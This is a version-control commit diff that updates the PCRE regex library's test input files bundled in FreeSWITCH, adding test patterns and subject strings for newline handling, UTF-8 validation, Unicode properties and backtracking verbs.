+/a+b?(*THEN)c+(*FAIL)/C
+    aaabccc
+    
+/a(*PRUNE:XXX)b/
+
+/a(*MARK)b/ 
+
+/(?i:A{1,}\6666666666)/
+
+/\g6666666666/
+
+/[\g6666666666]/
+
+/(?1)\c[/
+
+/.+A/<crlf>
+    \r\nA
+    
+/\nA/<crlf>
+    \r\nA 
+
+/[\r\n]A/<crlf>
+    \r\nA 
+
+/(\r|\n)A/<crlf>
+    \r\nA 
+
+/a(*CR)b/
+
+/(*CR)a.b/
+    a\nb
+    ** Failers
+    a\rb  
+
+/(*CR)a.b/<lf>
+    a\nb
+    ** Failers
+    a\rb  
+
+/(*LF)a.b/<CRLF>
+    a\rb
+    ** Failers
+    a\nb  
+
+/(*CRLF)a.b/
+    a\rb
+    a\nb  
+    ** Failers
+    a\r\nb  
+
+/(*ANYCRLF)a.b/<CR>
+    ** Failers
+    a\rb
+    a\nb  
+    a\r\nb  
+
+/(*ANY)a.b/<cr>
+    ** Failers
+    a\rb
+    a\nb  
+    a\r\nb  
+    a\x85b 
+
+/a\Rb/I<bsr_anycrlf>
+    a\rb
+    a\nb
+    a\r\nb
+    ** Failers
+    a\x85b
+    a\x0bb     
+
+/a\Rb/I<bsr_unicode>
+    a\rb
+    a\nb
+    a\r\nb
+    a\x85b
+    a\x0bb     
+    ** Failers 
+    a\x85b\<bsr_anycrlf>
+    a\x0bb\<bsr_anycrlf>
+    
+/a\R?b/I<bsr_anycrlf>
+    a\rb
+    a\nb
+    a\r\nb
+    ** Failers
+    a\x85b
+    a\x0bb     
+
+/a\R?b/I<bsr_unicode>
+    a\rb
+    a\nb
+    a\r\nb
+    a\x85b
+    a\x0bb     
+    ** Failers 
+    a\x85b\<bsr_anycrlf>
+    a\x0bb\<bsr_anycrlf>
+    
+/a\R{2,4}b/I<bsr_anycrlf>
+    a\r\n\nb
+    a\n\r\rb
+    a\r\n\r\n\r\n\r\nb
+    ** Failers
+    a\x85\85b
+    a\x0b\0bb     
+
+/a\R{2,4}b/I<bsr_unicode>
+    a\r\rb
+    a\n\n\nb
+    a\r\n\n\r\rb
+    a\x85\85b
+    a\x0b\0bb     
+    ** Failers 
+    a\r\r\r\r\rb 
+    a\x85\85b\<bsr_anycrlf>
+    a\x0b\0bb\<bsr_anycrlf>
+ 
+/(*BSR_ANYCRLF)a\Rb/I
+    a\nb
+    a\rb 
+
+/(*BSR_UNICODE)a\Rb/I
+    a\x85b
+
+/(*BSR_ANYCRLF)(*CRLF)a\Rb/I
+    a\nb
+    a\rb 
+
+/(*CRLF)(*BSR_UNICODE)a\Rb/I
+    a\x85b
+
+/(*CRLF)(*BSR_ANYCRLF)(*CR)ab/I
+
+/(?<a>)(?&)/
+
+/(?<abc>)(?&a)/
+
+/(?<a>)(?&aaaaaaaaaaaaaaaaaaaaaaa)/
+
+/(?+-a)/
+
+/(?-+a)/
+
+/(?(-1))/
+
+/(?(+10))/
+
+/(?(10))/
+
+/(?(+2))()()/
+
+/(?(2))()()/
+
+/\k''/
+
+/\k<>/
+
+/\k{}/
+
+/(?P=)/
+
+/(?P>)/
+
+/(?!\w)(?R)/
+
+/(?=\w)(?R)/
+
+/(?<!\w)(?R)/
+
+/(?<=\w)(?R)/
+
+/[[:foo:]]/
+
+/[[:1234:]]/
+
+/[[:f\oo:]]/
+
+/[[: :]]/
+
+/[[:...:]]/
+
+/[[:l\ower:]]/
+
+/[[:abc\:]]/
+
+/[abc[:x\]pqr:]]/
+
+/[[:a\dz:]]/
+
+/^(?<name>a|b\g<name>c)/
+    aaaa
+    bacxxx
+    bbaccxxx 
+    bbbacccxx
+
+/^(?<name>a|b\g'name'c)/
+    aaaa
+    bacxxx
+    bbaccxxx 
+    bbbacccxx
+
+/^(a|b\g<1>c)/
+    aaaa
+    bacxxx
+    bbaccxxx 
+    bbbacccxx
+
+/^(a|b\g'1'c)/
+    aaaa
+    bacxxx
+    bbaccxxx 
+    bbbacccxx
+
+/^(a|b\g'-1'c)/
+    aaaa
+    bacxxx
+    bbaccxxx 
+    bbbacccxx
+
+/(^(a|b\g<-1>c))/
+    aaaa
+    bacxxx
+    bbaccxxx 
+    bbbacccxx
+
+/(^(a|b\g<-1'c))/
+
+/(^(a|b\g{-1}))/
+    bacxxx
+
+/(?-i:\g<name>)(?i:(?<name>a))/
+    XaaX
+    XAAX 
+
+/(?i:\g<name>)(?-i:(?<name>a))/
+    XaaX
+    ** Failers 
+    XAAX 
+
+/(?-i:\g<+1>)(?i:(a))/
+    XaaX
+    XAAX 
+
+/(?=(?<regex>(?#simplesyntax)\$(?<name>[a-zA-Z_\x{7f}-\x{ff}][a-zA-Z0-9_\x{7f}-\x{ff}]*)(?:\[(?<index>[a-zA-Z0-9_\x{7f}-\x{ff}]+|\$\g<name>)\]|->\g<name>(\(.*?\))?)?|(?#simple syntax withbraces)\$\{(?:\g<name>(?<indices>\[(?:\g<index>|'(?:\\.|[^'\\])*'|"(?:\g<regex>|\\.|[^"\\])*")\])?|\g<complex>|\$\{\g<complex>\})\}|(?#complexsyntax)\{(?<complex>\$(?<segment>\g<name>(\g<indices>*|\(.*?\))?)(?:->\g<segment>)*|\$\g<complex>|\$\{\g<complex>\})\}))\{/
+
+/(?<n>a|b|c)\g<n>*/
+   abc
+   accccbbb 
+
+/^(?+1)(?<a>x|y){0}z/
+    xzxx
+    yzyy 
+    ** Failers
+    xxz  
+
+/(\3)(\1)(a)/
+    cat
+
+/(\3)(\1)(a)/<JS>
+    cat
+    
+/TA]/
+    The ACTA] comes 
+
+/TA]/<JS>
+    The ACTA] comes 
+
+/(?2)[]a()b](abc)/
+    abcbabc
+
+/(?2)[^]a()b](abc)/
+    abcbabc
+
+/(?1)[]a()b](abc)/
+    abcbabc
+    ** Failers 
+    abcXabc
+
+/(?1)[^]a()b](abc)/
+    abcXabc
+    ** Failers 
+    abcbabc
+
+/(?2)[]a()b](abc)(xyz)/
+    xyzbabcxyz
+
+/(?&N)[]a(?<N>)](?<M>abc)/
+   abc<abc
+
+/(?&N)[]a(?<N>)](abc)/
+   abc<abc
+
+/a[]b/
+
+/a[^]b/
+
+/a[]b/<JS>
+    ** Failers
+    ab
+
+/a[]+b/<JS>
+    ** Failers
+    ab 
+
+/a[]*+b/<JS>
+    ** Failers
+    ab 
+
+/a[^]b/<JS>
+    aXb
+    a\nb 
+    ** Failers
+    ab  
+    
+/a[^]+b/<JS> 
+    aXb
+    a\nX\nXb 
+    ** Failers
+    ab  
+
+/a(?!)+b/
+
+/a(*FAIL)+b/
+
+/(abc|pqr|123){0}[xyz]/SI
+
+/(?(?=.*b)b|^)/CI
+   adc
+   abc 
+   
+/(?(?=b).*b|^d)/I
+
+/(?(?=.*b).*b|^d)/I
+
+/a?|b?/P
+    abc
+    ** Failers
+    ddd\N   
+
+/xyz/C
+  xyz 
+  abcxyz 
+  abcxyz\Y
+  ** Failers 
+  abc
+  abc\Y
+  abcxypqr  
+  abcxypqr\Y  
+
+/^"((?(?=[a])[^"])|b)*"$/C
+    "ab"
+
+/^"((?(?=[a])[^"])|b)*"$/
+    "ab"
+
+/^X(?5)(a)(?|(b)|(q))(c)(d)(Y)/
+    XYabcdY
+
+/^X(?5)(a)(?|(b)|(q))(c)(d)Y/
+    XYabcdY
+
+/^X(?&N)(a)(?|(b)|(q))(c)(d)(?<N>Y)/
+    XYabcdY
+ 
+/^X(?7)(a)(?|(b)|(q)(r)(s))(c)(d)(Y)/
+    XYabcdY
+
+/^X(?7)(a)(?|(b|(r)(s))|(q))(c)(d)(Y)/
+    XYabcdY
+
+/^X(?7)(a)(?|(b|(?|(r)|(t))(s))|(q))(c)(d)(Y)/
+    XYabcdY
+
 / End of testinput2 /

Modified: freeswitch/branches/seven/libs/pcre/testdata/testinput3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testinput3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testinput3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -86,6 +86,6 @@
     >>>\xaa<<<
     >>>\xba<<< 
     
-/[[:alpha:]][[:lower:]][[:upper:]]/DLfr_FR 
+/[[:alpha:]][[:lower:]][[:upper:]]/DZLfr_FR 
 
 / End of testinput3 /

Modified: freeswitch/branches/seven/libs/pcre/testdata/testinput4 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testinput4	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testinput4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -520,4 +520,107 @@
     abcdefg
     ab
 
+/a*\x{100}*\w/8
+    a 
+
+/\S\S/8g
+    A\x{a3}BC
+    
+/\S{2}/8g
+    A\x{a3}BC
+    
+/\W\W/8g
+    +\x{a3}== 
+
+/\W{2}/8g
+    +\x{a3}== 
+
+/\S/8g
+    \x{442}\x{435}\x{441}\x{442}
+
+/[\S]/8g
+    \x{442}\x{435}\x{441}\x{442}
+
+/\D/8g
+    \x{442}\x{435}\x{441}\x{442}
+
+/[\D]/8g
+    \x{442}\x{435}\x{441}\x{442}
+
+/\W/8g
+    \x{2442}\x{2435}\x{2441}\x{2442}
+
+/[\W]/8g
+    \x{2442}\x{2435}\x{2441}\x{2442}
+    
+/[\S\s]*/8
+    abc\n\r\x{442}\x{435}\x{441}\x{442}xyz 
+
+/[\x{41f}\S]/8g
+    \x{442}\x{435}\x{441}\x{442}
+
+/.[^\S]./8g
+    abc def\x{442}\x{443}xyz\npqr
+
+/.[^\S\n]./8g
+    abc def\x{442}\x{443}xyz\npqr
+
+/[[:^alnum:]]/8g  
+    +\x{2442}
+    
+/[[:^alpha:]]/8g 
+    +\x{2442}
+    
+/[[:^ascii:]]/8g 
+    A\x{442}
+    
+/[[:^blank:]]/8g 
+    A\x{442}
+    
+/[[:^cntrl:]]/8g 
+    A\x{442}
+    
+/[[:^digit:]]/8g 
+    A\x{442}
+    
+/[[:^graph:]]/8g 
+    \x19\x{e01ff}
+    
+/[[:^lower:]]/8g 
+    A\x{422}
+    
+/[[:^print:]]/8g 
+    \x{19}\x{e01ff}
+    
+/[[:^punct:]]/8g 
+    A\x{442}
+    
+/[[:^space:]]/8g 
+    A\x{442}
+    
+/[[:^upper:]]/8g 
+    a\x{442}
+    
+/[[:^word:]]/8g  
+    +\x{2442}
+    
+/[[:^xdigit:]]/8g
+    M\x{442}
+
+/[^ABCDEFGHIJKLMNOPQRSTUVWXYZÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞĀĂĄĆĈĊČĎĐĒĔĖĘĚĜĞĠĢĤĦĨĪĬĮİIJĴĶĹĻĽĿŁŃŅŇŊŌŎŐŒŔŖŘŚŜŞŠŢŤŦŨŪŬŮŰŲŴŶŸŹŻŽƁƂƄƆƇƉƊƋƎƏƐƑƓƔƖƗƘƜƝƟƠƢƤƦƧƩƬƮƯƱƲƳƵƷƸƼDŽLJNJǍǏǑǓǕǗǙǛǞǠǢǤǦǨǪǬǮDZǴǶǷǸǺǼǾȀȂȄȆȈȊȌȎȐȒȔȖȘȚȜȞȠȢȤȦȨȪȬȮȰȲȺȻȽȾɁΆΈΉΊΌΎΏΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩΪΫϒϓϔϘϚϜϞϠϢϤϦϨϪϬϮϴϷϹϺϽϾϿЀЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯѠѢѤѦѨѪѬѮѰѲѴѶѸѺѼѾҀҊҌҎҐҒҔҖҘҚҜҞҠҢҤҦҨҪҬҮҰҲҴҶҸҺҼҾӀӁӃӅӇӉӋӍӐӒӔӖӘӚӜӞӠӢӤӦӨӪӬӮӰӲӴӶӸԀԂԄԆԈԊԌԎԱԲԳԴԵԶԷԸԹԺԻԼԽԾԿՀՁՂՃՄՅՆՇՈՉՊՋՌՍՎՏՐՑՒՓՔՕՖႠႡႢႣႤႥႦႧႨႩႪႫႬႭႮႯႰႱႲႳႴႵႶႷႸႹႺႻႼႽႾႿჀჁჂჃჄჅḀḂḄḆḈḊḌḎḐḒḔḖḘḚḜḞḠḢḤḦḨḪḬḮḰḲḴḶḸḺḼḾṀṂṄṆṈṊṌṎṐṒṔṖṘṚṜṞṠṢṤṦṨṪṬṮṰṲṴṶṸṺṼṾẀẂẄẆẈẊẌẎẐẒẔẠẢẤẦẨẪẬẮẰẲẴẶẸẺẼẾỀỂỄỆỈỊỌỎỐỒỔỖỘỚỜỞỠỢỤỦỨỪỬỮỰỲỴỶỸἈἉἊἋἌἍἎἏἘἙἚἛἜἝἨἩἪἫἬἭἮἯἸἹἺἻἼἽἾἿὈὉὊὋὌὍὙὛὝὟὨὩὪὫὬὭὮὯᾸᾹᾺΆῈΈῊΉῘῙῚΊῨῩῪΎῬῸΌῺΏabcdefghijklmnopqrstuvwxyzªµºßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþÿāăąćĉċčďđēĕėęěĝğġģĥħĩīĭįıijĵķĸĺļľŀłńņňʼnŋōŏőœŕŗřśŝşšţťŧũūŭůűųŵŷźżžſƀƃƅƈƌƍƒƕƙƚƛƞơƣƥƨƪƫƭưƴƶƹƺƽƾƿdžljnjǎǐǒǔǖǘǚǜǝǟǡǣǥǧǩǫǭǯǰdzǵǹǻǽǿȁȃȅȇȉȋȍȏȑȓȕȗșțȝȟȡȣȥȧȩȫȭȯȱȳȴȵȶȷȸȹȼȿɀɐɑɒɓɔɕɖɗɘəɚɛɜɝɞɟɠɡɢɣɤɥɦɧɨɩɪɫɬɭɮɯɰɱɲɳɴɵɶɷɸɹɺɻɼɽɾɿʀʁʂʃʄʅʆʇʈʉʊʋʌʍʎʏʐʑʒʓʔʕʖʗʘʙʚʛʜʝʞʟʠʡʢʣʤʥʦʧʨʩʪʫʬʭʮʯΐάέήίΰαβγδεζηθικλμνξοπρςστυφχψωϊϋόύώϐϑϕϖϗϙϛϝϟϡϣϥϧϩϫϭϯϰϱϲϳϵϸϻϼабвгдежзийклмнопрстуфхцчшщъыьэюяѐёђѓєѕіїјљњћќѝўџѡѣѥѧѩѫѭѯѱѳѵѷѹѻѽѿҁҋҍҏґғҕҗҙқҝҟҡңҥҧҩҫҭүұҳҵҷҹһҽҿӂӄӆӈӊӌӎӑӓӕӗәӛӝӟӡӣӥӧөӫӭӯӱӳӵӷӹԁԃԅԇԉԋԍԏաբգդեզէըթժիլխծկհձղճմյնշոչպջռսվտրցւփքօֆևᴀᴁᴂᴃᴄᴅᴆᴇᴈᴉᴊᴋᴌᴍᴎᴏᴐᴑᴒᴓᴔᴕᴖᴗᴘᴙᴚᴛᴜᴝᴞᴟᴠᴡᴢᴣᴤᴥᴦᴧᴨᴩᴪᴫᵢᵣᵤᵥᵦᵧᵨᵩᵪᵫᵬᵭᵮᵯᵰᵱᵲᵳᵴᵵᵶᵷᵹᵺᵻᵼᵽᵾᵿᶀᶁᶂᶃᶄᶅᶆᶇᶈᶉᶊᶋᶌᶍᶎᶏᶐᶑᶒᶓᶔᶕᶖᶗᶘᶙᶚḁḃḅḇḉḋḍḏḑḓḕḗḙḛḝḟḡḣḥḧḩḫḭḯḱḳḵḷḹḻḽḿṁṃṅṇṉṋṍṏṑṓṕṗṙṛṝṟṡṣṥṧṩṫṭṯṱṳṵṷṹṻṽṿẁẃẅẇẉẋẍẏẑẓẕẖẗẘẙẚẛạảấầẩẫậắằẳẵặẹẻẽếềểễệỉịọỏốồổỗộớờởỡợụủứừửữựỳỵỷỹἀἁἂἃἄἅἆἇἐἑἒἓἔἕἠἡἢἣἤἥἦἧἰἱἲἳἴἵἶἷὀὁὂὃὄὅὐὑὒὓὔὕὖὗὠὡὢὣὤὥὦὧὰάὲέὴήὶίὸόὺύὼώᾀᾁᾂᾃᾄᾅᾆᾇᾐᾑᾒᾓᾔᾕᾖᾗᾠᾡᾢᾣᾤᾥᾦᾧᾰᾱᾲᾳᾴᾶᾷιῂῃῄῆῇῐῑῒΐῖῗῠῡῢΰῤῥῦῧῲῳῴῶῷⲁⲃⲅⲇⲉⲋⲍⲏⲑⲓⲕⲗⲙⲛⲝⲟⲡⲣⲥⲧⲩⲫⲭⲯⲱⲳⲵⲷⲹⲻⲽⲿⳁⳃⳅⳇⳉⳋⳍⳏⳑⳓⳕⳗⳙⳛⳝⳟⳡⳣⳤⴀⴁⴂⴃⴄⴅⴆⴇⴈⴉⴊⴋⴌⴍⴎⴏⴐⴑⴒⴓⴔⴕⴖⴗⴘⴙⴚⴛⴜⴝⴞⴟⴠⴡⴢⴣⴤⴥfffiflffifflſtstﬓﬔﬕﬖﬗ\d-_^]/8
+
+/^[^d]*?$/
+    abc
+
+/^[^d]*?$/8
+    abc
+
+/^[^d]*?$/i
+    abc
+
+/^[^d]*?$/8i
+    abc
+
+/(?i)[\xc3\xa9\xc3\xbd]|[\xc3\xa9\xc3\xbdA]/8
+
 / End of testinput4 /

Modified: freeswitch/branches/seven/libs/pcre/testdata/testinput5 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testinput5	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testinput5	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,20 +1,20 @@
-/\x{100}/8DM
+/\x{100}/8DZ
 
-/\x{1000}/8DM
+/\x{1000}/8DZ
 
-/\x{10000}/8DM
+/\x{10000}/8DZ
 
-/\x{100000}/8DM
+/\x{100000}/8DZ
 
-/\x{1000000}/8DM
+/\x{1000000}/8DZ
 
-/\x{4000000}/8DM
+/\x{4000000}/8DZ
 
-/\x{7fffFFFF}/8DM
+/\x{7fffFFFF}/8DZ
 
-/[\x{ff}]/8DM
+/[\x{ff}]/8DZ
 
-/[\x{100}]/8DM
+/[\x{100}]/8DZ
 
 /\x{ffffffff}/8
 
@@ -23,39 +23,39 @@
 /^\x{100}a\x{1234}/8
     \x{100}a\x{1234}bcd
 
-/\x80/8D
+/\x80/8DZ
 
-/\xff/8D
+/\xff/8DZ
 
-/\x{0041}\x{2262}\x{0391}\x{002e}/D8
+/\x{0041}\x{2262}\x{0391}\x{002e}/DZ8
     \x{0041}\x{2262}\x{0391}\x{002e}
     
-/\x{D55c}\x{ad6d}\x{C5B4}/D8 
+/\x{D55c}\x{ad6d}\x{C5B4}/DZ8 
     \x{D55c}\x{ad6d}\x{C5B4} 
 
-/\x{65e5}\x{672c}\x{8a9e}/D8
+/\x{65e5}\x{672c}\x{8a9e}/DZ8
     \x{65e5}\x{672c}\x{8a9e}
 
-/\x{80}/D8
+/\x{80}/DZ8
 
-/\x{084}/D8
+/\x{084}/DZ8
 
-/\x{104}/D8
+/\x{104}/DZ8
 
-/\x{861}/D8
+/\x{861}/DZ8
 
-/\x{212ab}/D8
+/\x{212ab}/DZ8
 
-/.{3,5}X/D8
+/.{3,5}X/DZ8
     \x{212ab}\x{212ab}\x{212ab}\x{861}X
 
 
-/.{3,5}?/D8
+/.{3,5}?/DZ8
     \x{212ab}\x{212ab}\x{212ab}\x{861}
 
-/-- These tests are here rather than in testinput4 because Perl 5.6 has --/
-/-- some problems with UTF-8 support, in the area of \x{..} where the   --/
-/-- value is < 255. It grumbles about invalid UTF-8 strings.            --/
+/-- These tests are here rather than in testinput4 because Perl 5.6 has some
+problems with UTF-8 support, in the area of \x{..} where the value is < 255. 
+It grumbles about invalid UTF-8 strings. --/
 
 /^[a\x{c0}]b/8
     \x{c0}b
@@ -80,29 +80,29 @@
 /(?<=\C)X/8
     Should produce an error diagnostic
     
-/-- This one is here not because it's different to Perl, but because the --/
-/-- way the captured single-byte is displayed. (In Perl it becomes a --/
-/-- character, and you can't tell the difference.) --/
+/-- This one is here not because it's different to Perl, but because the way
+the captured single-byte is displayed. (In Perl it becomes a character, and you
+can't tell the difference.) --/
     
 /X(\C)(.*)/8
     X\x{1234}
     X\nabc 
     
-/^[ab]/8D
+/^[ab]/8DZ
     bar
     *** Failers
     c
     \x{ff}
     \x{100}  
 
-/^[^ab]/8D
+/^[^ab]/8DZ
     c
     \x{ff}
     \x{100}  
     *** Failers 
     aaa
   
-/[^ab\xC0-\xF0]/8SD
+/[^ab\xC0-\xF0]/8SDZ
     \x{f1}
     \x{bf}
     \x{100}
@@ -111,16 +111,16 @@
     \x{c0} 
     \x{f0} 
 
-/Ā{3,4}/8SD
+/Ā{3,4}/8SDZ
   \x{100}\x{100}\x{100}\x{100\x{100}
 
-/(\x{100}+|x)/8SD
+/(\x{100}+|x)/8SDZ
 
-/(\x{100}*a|x)/8SD
+/(\x{100}*a|x)/8SDZ
 
-/(\x{100}{0,2}a|x)/8SD
+/(\x{100}{0,2}a|x)/8SDZ
 
-/(\x{100}{1,2}a|x)/8SD
+/(\x{100}{1,2}a|x)/8SDZ
 
 /\x{100}*(\d+|"(?1)")/8
     1234
@@ -132,34 +132,34 @@
     *** Failers 
     \x{100}\x{100}abcd
 
-/\x{100}/8D
+/\x{100}/8DZ
 
-/\x{100}*/8D
+/\x{100}*/8DZ
 
-/a\x{100}*/8D
+/a\x{100}*/8DZ
 
-/ab\x{100}*/8D
+/ab\x{100}*/8DZ
 
-/a\x{100}\x{101}*/8D
+/a\x{100}\x{101}*/8DZ
 
-/a\x{100}\x{101}+/8D
+/a\x{100}\x{101}+/8DZ
 
-/\x{100}*A/8D
+/\x{100}*A/8DZ
     A
 
-/\x{100}*\d(?R)/8D
+/\x{100}*\d(?R)/8DZ
 
-/[^\x{c4}]/D
+/[^\x{c4}]/DZ
 
-/[^\x{c4}]/8D
+/[^\x{c4}]/8DZ
 
-/[\x{100}]/8DM
+/[\x{100}]/8DZ
     \x{100}
     Z\x{100}
     \x{100}Z
     *** Failers 
 
-/[Z\x{100}]/8DM
+/[Z\x{100}]/8DZ
     Z\x{100}
     \x{100}
     \x{100}Z
@@ -174,21 +174,21 @@
     \x{105}
     \x{ff}    
 
-/[z-\x{100}]/8D
+/[z-\x{100}]/8DZ
 
-/[z\Qa-d]Ā\E]/8D
+/[z\Qa-d]Ā\E]/8DZ
     \x{100}
     Ā 
 
-/[\xFF]/D
+/[\xFF]/DZ
     >\xff<
 
-/[\xff]/D8
+/[\xff]/DZ8
     >\x{ff}<
 
-/[^\xFF]/D
+/[^\xFF]/DZ
 
-/[^\xff]/8D
+/[^\xff]/8DZ
 
 /[Ä-Ü]/8
     Ö # Matches without Study
@@ -212,7 +212,7 @@
 
 /\xC3\xC3\xC3xxx/8
 
-/\xC3\xC3\xC3xxx/8?D
+/\xC3\xC3\xC3xxx/8?DZ
 
 /abc/8
     \xC3]
@@ -238,20 +238,24 @@
     \xf9\x87\x80\x80\x80  
     \xfc\x84\x80\x80\x80\x80
     \xfd\x83\x80\x80\x80\x80
+    \?\xf8\x88\x80\x80\x80  
+    \?\xf9\x87\x80\x80\x80  
+    \?\xfc\x84\x80\x80\x80\x80
+    \?\xfd\x83\x80\x80\x80\x80
 
-/\x{100}abc(xyz(?1))/8D
+/\x{100}abc(xyz(?1))/8DZ
 
-/[^\x{100}]abc(xyz(?1))/8D
+/[^\x{100}]abc(xyz(?1))/8DZ
 
-/[ab\x{100}]abc(xyz(?1))/8D
+/[ab\x{100}]abc(xyz(?1))/8DZ
 
-/(\x{100}(b(?2)c))?/D8
+/(\x{100}(b(?2)c))?/DZ8
 
-/(\x{100}(b(?2)c)){0,2}/D8
+/(\x{100}(b(?2)c)){0,2}/DZ8
 
-/(\x{100}(b(?1)c))?/D8
+/(\x{100}(b(?1)c))?/DZ8
 
-/(\x{100}(b(?1)c)){0,2}/D8
+/(\x{100}(b(?1)c)){0,2}/DZ8
 
 /\W/8
     A.B
@@ -263,12 +267,222 @@
 /a\x{1234}b/P8
     a\x{1234}b
 
-/^\ሴ/8D
+/^\ሴ/8DZ
 
 /\777/I
 
 /\777/8I
   \x{1ff}
   \777 
+  
+/\x{100}*\d/8DZ
 
+/\x{100}*\s/8DZ
+
+/\x{100}*\w/8DZ
+
+/\x{100}*\D/8DZ
+
+/\x{100}*\S/8DZ
+
+/\x{100}*\W/8DZ
+
+/\x{100}+\x{200}/8DZ
+
+/\x{100}+X/8DZ
+
+/X+\x{200}/8DZ
+
+/()()()()()()()()()()
+ ()()()()()()()()()()
+ ()()()()()()()()()()
+ ()()()()()()()()()()
+ A (x) (?41) B/8x
+    AxxB     
+
+/^[\x{100}\E-\Q\E\x{150}]/BZ8
+
+/^[\QĀ\E-\QŐ\E]/BZ8
+
+/^[\QĀ\E-\QŐ\E/BZ8
+
+/^abc./mgx8<any>
+    abc1 \x0aabc2 \x0babc3xx \x0cabc4 \x0dabc5xx \x0d\x0aabc6 \x{0085}abc7 \x{2028}abc8 \x{2029}abc9 JUNK
+
+/abc.$/mgx8<any>
+    abc1\x0a abc2\x0b abc3\x0c abc4\x0d abc5\x0d\x0a abc6\x{0085} abc7\x{2028} abc8\x{2029} abc9
+
+/^a\Rb/8<bsr_unicode>
+    a\nb
+    a\rb
+    a\r\nb
+    a\x0bb
+    a\x0cb
+    a\x{85}b   
+    a\x{2028}b 
+    a\x{2029}b 
+    ** Failers
+    a\n\rb    
+
+/^a\R*b/8<bsr_unicode>
+    ab
+    a\nb
+    a\rb
+    a\r\nb
+    a\x0bb
+    a\x0c\x{2028}\x{2029}b
+    a\x{85}b   
+    a\n\rb    
+    a\n\r\x{85}\x0cb 
+
+/^a\R+b/8<bsr_unicode>
+    a\nb
+    a\rb
+    a\r\nb
+    a\x0bb
+    a\x0c\x{2028}\x{2029}b
+    a\x{85}b   
+    a\n\rb    
+    a\n\r\x{85}\x0cb 
+    ** Failers
+    ab  
+
+/^a\R{1,3}b/8<bsr_unicode>
+    a\nb
+    a\n\rb
+    a\n\r\x{85}b
+    a\r\n\r\nb 
+    a\r\n\r\n\r\nb 
+    a\n\r\n\rb
+    a\n\n\r\nb 
+    ** Failers
+    a\n\n\n\rb
+    a\r
+
+/\H\h\V\v/8
+    X X\x0a
+    X\x09X\x0b
+    ** Failers
+    \x{a0} X\x0a   
+    
+/\H*\h+\V?\v{3,4}/8 
+    \x09\x20\x{a0}X\x0a\x0b\x0c\x0d\x0a
+    \x09\x20\x{a0}\x0a\x0b\x0c\x0d\x0a
+    \x09\x20\x{a0}\x0a\x0b\x0c
+    ** Failers 
+    \x09\x20\x{a0}\x0a\x0b
+     
+/\H\h\V\v/8
+    \x{3001}\x{3000}\x{2030}\x{2028}
+    X\x{180e}X\x{85}
+    ** Failers
+    \x{2009} X\x0a   
+    
+/\H*\h+\V?\v{3,4}/8 
+    \x{1680}\x{180e}\x{2007}X\x{2028}\x{2029}\x0c\x0d\x0a
+    \x09\x{205f}\x{a0}\x0a\x{2029}\x0c\x{2028}\x0a
+    \x09\x20\x{202f}\x0a\x0b\x0c
+    ** Failers 
+    \x09\x{200a}\x{a0}\x{2028}\x0b
+     
+/[\h]/8BZ
+    >\x{1680}
+
+/[\h]{3,}/8BZ
+    >\x{1680}\x{180e}\x{2000}\x{2003}\x{200a}\x{202f}\x{205f}\x{3000}<
+
+/[\v]/8BZ
+
+/[\H]/8BZ
+
+/[\V]/8BZ
+
+/.*$/8<any>
+    \x{1ec5} 
+    
+/-- This tests the stricter UTF-8 check according to RFC 3629. --/ 
+    
+/X/8
+    \x{0}\x{d7ff}\x{e000}\x{10ffff}
+    \x{d800}
+    \x{d800}\?
+    \x{da00}
+    \x{da00}\?
+    \x{dfff}
+    \x{dfff}\?
+    \x{110000}    
+    \x{110000}\?    
+    \x{2000000} 
+    \x{2000000}\? 
+    \x{7fffffff} 
+    \x{7fffffff}\? 
+
+/a\Rb/I8<bsr_anycrlf>
+    a\rb
+    a\nb
+    a\r\nb
+    ** Failers
+    a\x{85}b
+    a\x0bb     
+
+/a\Rb/I8<bsr_unicode>
+    a\rb
+    a\nb
+    a\r\nb
+    a\x{85}b
+    a\x0bb     
+    ** Failers 
+    a\x{85}b\<bsr_anycrlf>
+    a\x0bb\<bsr_anycrlf>
+    
+/a\R?b/I8<bsr_anycrlf>
+    a\rb
+    a\nb
+    a\r\nb
+    ** Failers
+    a\x{85}b
+    a\x0bb     
+
+/a\R?b/I8<bsr_unicode>
+    a\rb
+    a\nb
+    a\r\nb
+    a\x{85}b
+    a\x0bb     
+    ** Failers 
+    a\x{85}b\<bsr_anycrlf>
+    a\x0bb\<bsr_anycrlf>
+ 
+/.*a.*=.b.*/8<ANY>
+    QQQ\x{2029}ABCaXYZ=!bPQR
+    ** Failers
+    a\x{2029}b
+    \x61\xe2\x80\xa9\x62 
+
+/[[:a\x{100}b:]]/8
+
+/a[^]b/<JS>8
+    a\x{1234}b
+    a\nb 
+    ** Failers
+    ab  
+    
+/a[^]+b/<JS>8
+    aXb
+    a\nX\nX\x{1234}b 
+    ** Failers
+    ab  
+
+/(\x{de})\1/
+    \x{de}\x{de}
+    \x{123} 
+
+/X/8f<any> 
+    A\x{1ec5}ABCXYZ
+
+/(*UTF8)\x{1234}/
+  abcd\x{1234}pqr
+
+/(*CRLF)(*UTF8)(*BSR_UNICODE)a\Rb/I
+
 / End of testinput5 /

Modified: freeswitch/branches/seven/libs/pcre/testdata/testinput6 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testinput6	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testinput6	2009-08-09 18:53:22 UTC (rev 14472)
@@ -61,7 +61,7 @@
     \x{09f} 
   
 /^\p{Cs}/8
-    \x{dfff}
+    \?\x{dfff}
     ** Failers
     \x{09f} 
   
@@ -69,7 +69,7 @@
     a
     ** Failers 
     Z
-    \x{dfff}  
+    \x{e000}  
   
